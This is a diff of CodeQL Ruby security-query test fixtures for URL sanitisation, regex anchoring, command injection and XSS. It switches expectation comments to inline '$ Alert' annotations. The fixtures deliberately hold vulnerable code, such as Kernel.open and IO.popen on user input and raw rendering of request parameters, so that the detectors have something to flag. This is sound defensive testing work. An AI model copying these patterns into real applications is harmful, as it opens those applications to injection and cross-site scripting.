b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb @@ -1,23 +1,23 @@ def test (x) x.index("internal") != nil; # NOT OK, but not flagged x.index("localhost") != nil; # NOT OK, but not flagged - x.index("secure.com") != nil; # NOT OK - x.index("secure.net") != nil; # NOT OK - x.index(".secure.com") != nil; # NOT OK + x.index("secure.com") != nil; # $ Alert // NOT OK + x.index("secure.net") != nil; # $ Alert // NOT OK + x.index(".secure.com") != nil; # $ Alert // NOT OK x.index("sub.secure.") != nil; # NOT OK, but not flagged x.index(".sub.secure.") != nil; # NOT OK, but not flagged - x.index("secure.com") === nil; # NOT OK - x.index("secure.com") === 0; # NOT OK - x.index("secure.com") >= 0; # NOT OK + x.index("secure.com") === nil; # $ Alert // NOT OK + x.index("secure.com") === 0; # $ Alert // NOT OK + x.index("secure.com") >= 0; # $ Alert // NOT OK - x.start_with?("https://secure.com"); # NOT OK - x.end_with?("secure.com"); # NOT OK + x.start_with?("https://secure.com"); # $ Alert // NOT OK + x.end_with?("secure.com"); # $ Alert // NOT OK x.end_with?(".secure.com"); # OK x.start_with?("secure.com/"); # OK x.index("secure.com/") === 0; # OK - x.include?("secure.com"); # NOT OK + x.include?("secure.com"); # $ Alert // NOT OK x.index("#") != nil; # OK x.index(":") != nil; # OK @@ -29,9 +29,9 @@ def test (x) x.index("some/path") != nil; # OK x.index("/index.html") != nil; # OK x.index(":template:") != nil; # OK - x.index("https://secure.com") != nil; # NOT OK - x.index("https://secure.com:443") != nil; # NOT OK - x.index("https://secure.com/") != nil; # NOT OK + x.index("https://secure.com") != nil; # $ Alert // NOT OK + x.index("https://secure.com:443") != nil; # $ Alert // NOT OK + x.index("https://secure.com/") != nil; # $ Alert // NOT OK x.index(".cn") != nil; # NOT OK, but not flagged x.index(".jpg") != nil; # OK @@ -49,28 +49,28 @@ def test (x) x.index("tar.gz") + offset; # OK x.index("tar.gz") - offset; # OK - x.index("https://example.internal") != nil; # NOT OK + x.index("https://example.internal") != nil; # $ Alert // NOT OK x.index("https://") != nil; # OK - x.start_with?("https://example.internal"); # NOT OK - x.index('https://example.internal.org') != 0; # NOT OK - x.index('https://example.internal.org') === 0; # NOT OK - x.end_with?("internal.com"); # NOT OK + x.start_with?("https://example.internal"); # $ Alert // NOT OK + x.index('https://example.internal.org') != 0; # $ Alert // NOT OK + x.index('https://example.internal.org') === 0; # $ Alert // NOT OK + x.end_with?("internal.com"); # $ Alert // NOT OK x.start_with?("https://example.internal:80"); # OK - x.index("secure.com") != nil; # NOT OK - x.index("secure.com") === nil; # OK - !(x.index("secure.com") != nil); # OK - !x.include?("secure.com"); # OK + x.index("secure.com") != nil; # $ Alert // NOT OK + x.index("secure.com") === nil; # $ Alert // OK + !(x.index("secure.com") != nil); # $ Alert // OK + !x.include?("secure.com"); # $ Alert // OK - if !x.include?("secure.com") # NOT OK + if !x.include?("secure.com") # $ Alert // NOT OK else doSomeThingWithTrustedURL(x); end x.start_with?("https://secure.com/foo/bar"); # OK - a forward slash after the domain makes prefix checks safe. - x.index("https://secure.com/foo/bar") >= 0 # NOT OK - the url can be anywhere in the string. - x.index("https://secure.com") >= 0 # NOT OK - x.index("https://secure.com/foo/bar-baz") >= 0 # NOT OK - the url can be anywhere in the string. + x.index("https://secure.com/foo/bar") >= 0 # $ Alert // NOT OK - the url can be anywhere in the string. + x.index("https://secure.com") >= 0 # $ Alert // NOT OK + x.index("https://secure.com/foo/bar-baz") >= 0 # $ Alert // NOT OK - the url can be anywhere in the string. end diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref index 4b61fcc56d7..8de0d5036bb 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/MissingFullAnchor.ql \ No newline at end of file +query: queries/security/cwe-020/MissingFullAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb index c488990062a..04c09a7d786 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb @@ -1,17 +1,17 @@ class Foobar - def foo1(name) - raise Blabity, 'Invalid thing' if name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo1(name) # $ Source + raise Blabity, 'Invalid thing' if name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # $ Alert // NOT OK end - def foo2(name) - raise Blabity, 'Invalid thing' unless name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo2(name) # $ Source + raise Blabity, 'Invalid thing' unless name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # $ Alert // NOT OK end def foo3(name) raise Blabity, 'Invalid thing' unless name !~ /\A[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*\z/ # OK end - def foo4(name) - raise Blabity, 'Invalid thing' unless not name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo4(name) # $ Source + raise Blabity, 'Invalid thing' unless not name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # $ Alert // NOT OK end end diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref index bd3ad563aec..ffb6ae961f6 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/MissingRegExpAnchor.ql \ No newline at end of file +query: queries/security/cwe-020/MissingRegExpAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb index 11410d7db1f..29d347269ac 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb @@ -1,11 +1,11 @@ -/www\.example\.com/ # BAD +/www\.example\.com/ # $ Alert // BAD /^www\.example\.com$/ # BAD: uses end-of-line anchors rather than end-of-string anchors /\Awww\.example\.com\z/ # GOOD /foo\.bar/ # GOOD -/https?:\/\/good\.com/ # BAD -/^https?:\/\/good\.com/ # BAD: missing end-of-string anchor +/https?:\/\/good\.com/ # $ Alert // BAD +/^https?:\/\/good\.com/ # $ Alert // BAD: missing end-of-string anchor /(^https?:\/\/good1\.com)|(^https?:#good2\.com)/ # BAD: missing end-of-string anchor /bar/ # GOOD @@ -16,40 +16,40 @@ foo.gsub!(/www\.example\.com/, "bar") # GOOD foo.sub!(/www\.example\.com/, "bar") # GOOD /^a|/ -/^a|b/ # BAD +/^a|b/ # $ Alert // BAD /a|^b/ /^a|^b/ -/^a|b|c/ # BAD +/^a|b|c/ # $ Alert // BAD /a|^b|c/ /a|b|^c/ /^a|^b|c/ /(^a)|b/ -/^a|(b)/ # BAD +/^a|(b)/ # $ Alert // BAD /^a|(^b)/ -/^(a)|(b)/ # BAD +/^(a)|(b)/ # $ Alert // BAD -/a|b$/ # BAD +/a|b$/ # $ Alert // BAD /a$|b/ /a$|b$/ -/a|b|c$/ # BAD +/a|b|c$/ # $ Alert // BAD /a|b$|c/ /a$|b|c/ /a|b$|c$/ /a|(b$)/ -/(a)|b$/ # BAD +/(a)|b$/ # $ Alert // BAD /(a$)|b$/ -/(a)|(b)$/ # BAD +/(a)|(b)$/ # $ Alert // BAD -/^good.com|better.com/ # BAD -/^good\.com|better\.com/ # BAD -/^good\\.com|better\\.com/ # BAD -/^good\\\.com|better\\\.com/ # BAD -/^good\\\\.com|better\\\\.com/ # BAD +/^good.com|better.com/ # $ Alert // BAD +/^good\.com|better\.com/ # $ Alert // BAD +/^good\\.com|better\\.com/ # $ Alert // BAD +/^good\\\.com|better\\\.com/ # $ Alert // BAD +/^good\\\\.com|better\\\\.com/ # $ Alert // BAD -/^foo|bar|baz$/ # BAD +/^foo|bar|baz$/ # $ Alert // BAD /^foo|%/ # OK REGEXP = /foo/ @@ -57,5 +57,5 @@ REGEXP.match? "http://example.com" # GOOD: the url is the text not the regexp REGEXP.match "http://example.com" # GOOD: the url is the text not the regexp "http://example.com".match? REGEXP # GOOD: the url is the text not the regexp "http://example.com".match REGEXP # GOOD: the url is the text not the regexp -"some text".match? "http://example.com" # BAD -"some text".match "http://example.com" # BAD +"some text".match? "http://example.com" # $ Alert // BAD +"some text".match "http://example.com" # $ Alert // BAD diff --git a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref index f1d6eea73c2..476daefd7f3 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/OverlyLargeRange.ql +query: queries/security/cwe-020/OverlyLargeRange.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb index ed6ffe21b14..57b5c3bee32 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb @@ -1,8 +1,8 @@ -overlap1 = /^[0-93-5]$/ # NOT OK +overlap1 = /^[0-93-5]$/ # $ Alert // NOT OK -overlap2 = /[A-ZA-z]/ # NOT OK +overlap2 = /[A-ZA-z]/ # $ Alert // NOT OK -isEmpty = /^[z-a]$/ # NOT OK +isEmpty = /^[z-a]$/ # $ Alert // NOT OK isAscii = /^[\x00-\x7F]*$/ # OK @@ -12,22 +12,22 @@ codePoints = /[^\x21-\x7E]|[\[\](){}<>\/%]/ # OK NON_ALPHANUMERIC_REGEXP = /([^\#-~| |!])/ # OK -smallOverlap = /[0-9a-fA-f]/ # NOT OK +smallOverlap = /[0-9a-fA-f]/ # $ Alert // NOT OK -weirdRange = /[$-`]/ # NOT OK +weirdRange = /[$-`]/ # $ Alert // NOT OK -keywordOperator = /[!\~\*\/%+-<>\^|=&]/ # NOT OK +keywordOperator = /[!\~\*\/%+-<>\^|=&]/ # $ Alert // NOT OK -notYoutube = /youtu\.be\/[a-z1-9.-_]+/ # NOT OK +notYoutube = /youtu\.be\/[a-z1-9.-_]+/ # $ Alert // NOT OK -numberToLetter = /[7-F]/ # NOT OK +numberToLetter = /[7-F]/ # $ Alert // NOT OK -overlapsWithClass1 = /[0-9\d]/ # NOT OK +overlapsWithClass1 = /[0-9\d]/ # $ Alert // NOT OK -overlapsWithClass2 = /[\w,.-?:*+]/ # NOT OK +overlapsWithClass2 = /[\w,.-?:*+]/ # $ Alert // NOT OK escapes = /[\000-\037\047\134\177-\377]/n # OK - they are escapes nested = /[a-z&&[^a-c]]/ # OK -overlapsWithNothing = /[\w_%-.]/; \ No newline at end of file +overlapsWithNothing = /[\w_%-.]/; # $ Alert diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref index aea01648c78..b8b59265f26 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/KernelOpen.ql \ No newline at end of file +query: queries/security/cwe-078/KernelOpen.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb index 412e2c50ead..ca8d4aee192 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb @@ -1,16 +1,16 @@ class UsersController < ActionController::Base def create - file = params[:file] - open(file) # BAD - IO.read(file) # BAD - IO.write(file) # BAD - IO.binread(file) # BAD - IO.binwrite(file) # BAD - IO.foreach(file) # BAD - IO.readlines(file) # BAD - URI.open(file) # BAD + file = params[:file] # $ Source + open(file) # $ Alert // BAD + IO.read(file) # $ Alert // BAD + IO.write(file) # $ Alert // BAD + IO.binread(file) # $ Alert // BAD + IO.binwrite(file) # $ Alert // BAD + IO.foreach(file) # $ Alert // BAD + IO.readlines(file) # $ Alert // BAD + URI.open(file) # $ Alert // BAD - IO.read(File.join(file, "")) # BAD - file as first argument to File.join + IO.read(File.join(file, "")) # $ Alert // BAD - file as first argument to File.join IO.read(File.join("", file)) # GOOD - file path is sanitised by guard File.open(file).read # GOOD @@ -23,6 +23,6 @@ class UsersController < ActionController::Base IO.read(file) # GOOD - file path is sanitised by guard end - open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized + open(file) # $ Alert // BAD - sanity check to verify that file was not mistakenly marked as sanitized end end diff --git a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref index 0b23d9102b9..7b559b55ae0 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/NonConstantKernelOpen.ql \ No newline at end of file +query: queries/security/cwe-078/NonConstantKernelOpen.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb index 6b8294fa111..4283fd4c969 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb @@ -4,18 +4,18 @@ class UsersController < ActionController::Base def create file = params[:file] - open(file) # BAD - IO.read(file) # BAD - IO.write(file) # BAD - IO.binread(file) # BAD - IO.binwrite(file) # BAD - IO.foreach(file) # BAD - IO.readlines(file) # BAD - URI.open(file) # BAD + open(file) # $ Alert // BAD + IO.read(file) # $ Alert // BAD + IO.write(file) # $ Alert // BAD + IO.binread(file) # $ Alert // BAD + IO.binwrite(file) # $ Alert // BAD + IO.foreach(file) # $ Alert // BAD + IO.readlines(file) # $ Alert // BAD + URI.open(file) # $ Alert // BAD File.open(file).read # GOOD - Kernel.open(file) # BAD + Kernel.open(file) # $ Alert // BAD File.open(file, "r") # GOOD @@ -25,7 +25,7 @@ class UsersController < ActionController::Base Kernel.open("this is #{fine}") # GOOD - Kernel.open("#{this_is} bad") # BAD + Kernel.open("#{this_is} bad") # $ Alert // BAD open("| #{this_is_an_explicit_command} foo bar") # GOOD @@ -43,6 +43,6 @@ class UsersController < ActionController::Base open.where(external: false) # GOOD - an open method is called withoout arguments - open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized + open(file) # $ Alert // BAD - sanity check to verify that file was not mistakenly marked as sanitized end end diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref index 99292da7663..da9659dee16 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/UnsafeShellCommandConstruction.ql \ No newline at end of file +query: queries/security/cwe-078/UnsafeShellCommandConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb index 0a385f5f6bc..d5f03d94b5a 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/notImported.rb @@ -1,6 +1,5 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK - everything assumed to be imported... + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # $ Alert // NOT OK - everything assumed to be imported... end end - \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb index 22eaa13bcc0..29d1b95e3fb 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other.rb @@ -1,7 +1,7 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # $ Alert // NOT OK end end -require 'sub/other2' \ No newline at end of file +require 'sub/other2' diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb index 007dae343ff..76deb5234b8 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/sub/other2.rb @@ -1,5 +1,5 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # $ Alert // NOT OK end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb index 487ca06ebd6..a2c3cfe38ca 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/impl/unsafeShell.rb @@ -1,10 +1,10 @@ class Foobar - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # $ Alert // NOT OK end - def foo2(x) - format = sprintf("cat %s", x) # NOT OK + def foo2(x) # $ Source + format = sprintf("cat %s", x) # $ Alert // NOT OK IO.popen(format, "w") end @@ -12,30 +12,30 @@ class Foobar File.read(path) # OK end - def my_exec(cmd, command, myCmd, myCommand, innocent_file_path) + def my_exec(cmd, command, myCmd, myCommand, innocent_file_path) # $ Source IO.popen("which #{cmd}", "w") # OK - the parameter is named `cmd`, so it's meant to be a command IO.popen("which #{command}", "w") # OK - the parameter is named `command`, so it's meant to be a command IO.popen("which #{myCmd}", "w") # OK - the parameter is named `myCmd`, so it's meant to be a command IO.popen("which #{myCommand}", "w") # OK - the parameter is named `myCommand`, so it's meant to be a command - IO.popen("which #{innocent_file_path}", "w") # NOT OK - the parameter is named `innocent_file_path`, so it's not meant to be a command + IO.popen("which #{innocent_file_path}", "w") # $ Alert // NOT OK - the parameter is named `innocent_file_path`, so it's not meant to be a command end - def escaped(file_path) + def escaped(file_path) # $ Source IO.popen("cat #{file_path.shellescape}", "w") # OK - the parameter is escaped - IO.popen("cat #{file_path}", "w") # NOT OK - the parameter is not escaped + IO.popen("cat #{file_path}", "w") # $ Alert // NOT OK - the parameter is not escaped end end require File.join(File.dirname(__FILE__), 'sub', 'other') class Foobar2 - def foo1(target) - IO.popen("cat #{target}", "w") # NOT OK + def foo1(target) # $ Source + IO.popen("cat #{target}", "w") # $ Alert // NOT OK end - def id(x) - IO.popen("cat #{x}", "w") # NOT OK - the parameter is not a constant. + def id(x) # $ Source + IO.popen("cat #{x}", "w") # $ Alert // NOT OK - the parameter is not a constant. return x end @@ -44,27 +44,27 @@ class Foobar2 end # class methods - def self.foo(target) - IO.popen("cat #{target}", "w") # NOT OK + def self.foo(target) # $ Source + IO.popen("cat #{target}", "w") # $ Alert // NOT OK end - def arrayJoin(x) - IO.popen(x.join(' '), "w") # NOT OK + def arrayJoin(x) # $ Source + IO.popen(x.join(' '), "w") # $ Alert // NOT OK - IO.popen(["foo", "bar", x].join(' '), "w") # NOT OK + IO.popen(["foo", "bar", x].join(' '), "w") # $ Alert // NOT OK end - def string_concat(x) - IO.popen("cat " + x, "w") # NOT OK + def string_concat(x) # $ Source + IO.popen("cat " + x, "w") # $ Alert // NOT OK end - def array_taint (x, y) + def array_taint (x, y) # $ Source arr = ["cat"] arr.push(x) - IO.popen(arr.join(' '), "w") # NOT OK + IO.popen(arr.join(' '), "w") # $ Alert // NOT OK arr2 = ["cat"] arr2 << y - IO.popen(arr.join(' '), "w") # NOT OK + IO.popen(arr.join(' '), "w") # $ Alert // NOT OK end end diff --git a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref index af140959abb..5ab6c6da840 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref @@ -1 +1,2 @@ -queries/security/cwe-079/ReflectedXSS.ql +query: queries/security/cwe-079/ReflectedXSS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref index 78de28cb282..ed8577c438d 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref @@ -1 +1,2 @@ -queries/security/cwe-079/StoredXSS.ql \ No newline at end of file +query: queries/security/cwe-079/StoredXSS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref index ae814bcc35c..501577ea1b9 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-079/UnsafeHtmlConstruction.ql \ No newline at end of file +query: queries/security/cwe-079/UnsafeHtmlConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb index 4146cc29953..8b855847f69 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb @@ -6,34 +6,34 @@ class BarsController < ApplicationController end def user_name - return params[:user_name] + return params[:user_name] # $ Source[rb/reflected-xss] end def user_name_memo - @user_name ||= params[:user_name] + @user_name ||= params[:user_name] # $ Source[rb/reflected-xss] end def show - @user_website = params[:website] - dt = params[:text] + @user_website = params[:website] # $ Source[rb/reflected-xss] + dt = params[:text] # $ Source[rb/reflected-xss] @instance_text = dt @safe_foo = params[:text] @safe_foo = "safe_foo" @html_escaped = ERB::Util.html_escape(params[:text]) @header_escaped = ERB::Util.html_escape(cookies[:foo]) # OK - cookies not controllable by 3rd party - response.header["content-type"] = params[:content_type] + response.header["content-type"] = params[:content_type] # $ Alert[rb/reflected-xss] response.header["x-customer-header"] = params[:bar] # OK - header not relevant to XSS render "foo/bars/show", locals: { display_text: dt, safe_text: "hello" } end def make_safe_html - str = params[:user_name] - str.html_safe + str = params[:user_name] # $ Source[rb/reflected-xss] + str.html_safe # $ Alert[rb/reflected-xss] - translate("welcome", name: params[:user_name]).html_safe # NOT OK - translate preserves taint - t("welcome", name: params[:user_name]).html_safe # NOT OK - t is an alias of translate + translate("welcome", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - translate preserves taint + t("welcome", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - t is an alias of translate t("welcome_html", name: params[:user_name]).html_safe # OK - t escapes html when key ends in _html - I18n.t("welcome_html", name: params[:user_name]).html_safe # NOT OK - I18n.t does not escape html - I18n.translate("welcome_html", name: params[:user_name]).html_safe # NOT OK - alias + I18n.t("welcome_html", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - I18n.t does not escape html + I18n.translate("welcome_html", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - alias end end diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb index 6dbb2508353..84918d48c4d 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb @@ -5,7 +5,7 @@ class StoresController < ApplicationController end def show - dt = File.read("foo.txt") + dt = File.read("foo.txt") # $ Source[rb/stored-xss] @instance_text = dt @user = User.find 1 @safe_user_handle = ERB::Util.html_escape(@user.handle) diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb index 54b52afe8c7..cbd27d512dc 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb @@ -2,10 +2,10 @@ <%= raw @display_text %> <%# BAD: A local rendered raw as a local variable %> -<%= raw display_text %> +<%= raw display_text %> <%# $ Alert[rb/reflected-xss], Alert[rb/stored-xss] %> <%# BAD: A local rendered raw via the local_assigns hash %> -<%= raw local_assigns[:display_text] %> +<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/reflected-xss], Alert[rb/stored-xss] %> <%# GOOD: A local rendered with default escaping via the local_assigns hash %> <%= local_assigns[:display_text] %> diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb index b8092cd883f..f821a423c70 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb @@ -1,20 +1,20 @@ <%# BAD: An instance variable rendered without escaping %> -website +website <%# $ Alert[rb/reflected-xss] %> <%# BAD: A local rendered raw as a local variable %> -<%= raw display_text %> +<%= raw display_text %> <%# $ Alert[rb/reflected-xss] %> <%# BAD: A local rendered raw via the local_assigns hash %> -<%= raw local_assigns[:display_text] %> +<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/reflected-xss] %> <% key = :display_text %> <%# BAD: A local rendered raw via the locals_assigns hash %> -<%= raw local_assigns[key] %> +<%= raw local_assigns[key] %> <%# $ Alert[rb/reflected-xss] %>
      <% for key in [:display_text, :safe_text] do %> <%# BAD: A local rendered raw via the locals hash %> -
    • <%= raw local_assigns[key] %>
    • +
    • <%= raw local_assigns[key] %>
    • <%# $ Alert[rb/reflected-xss] %> <% end %>
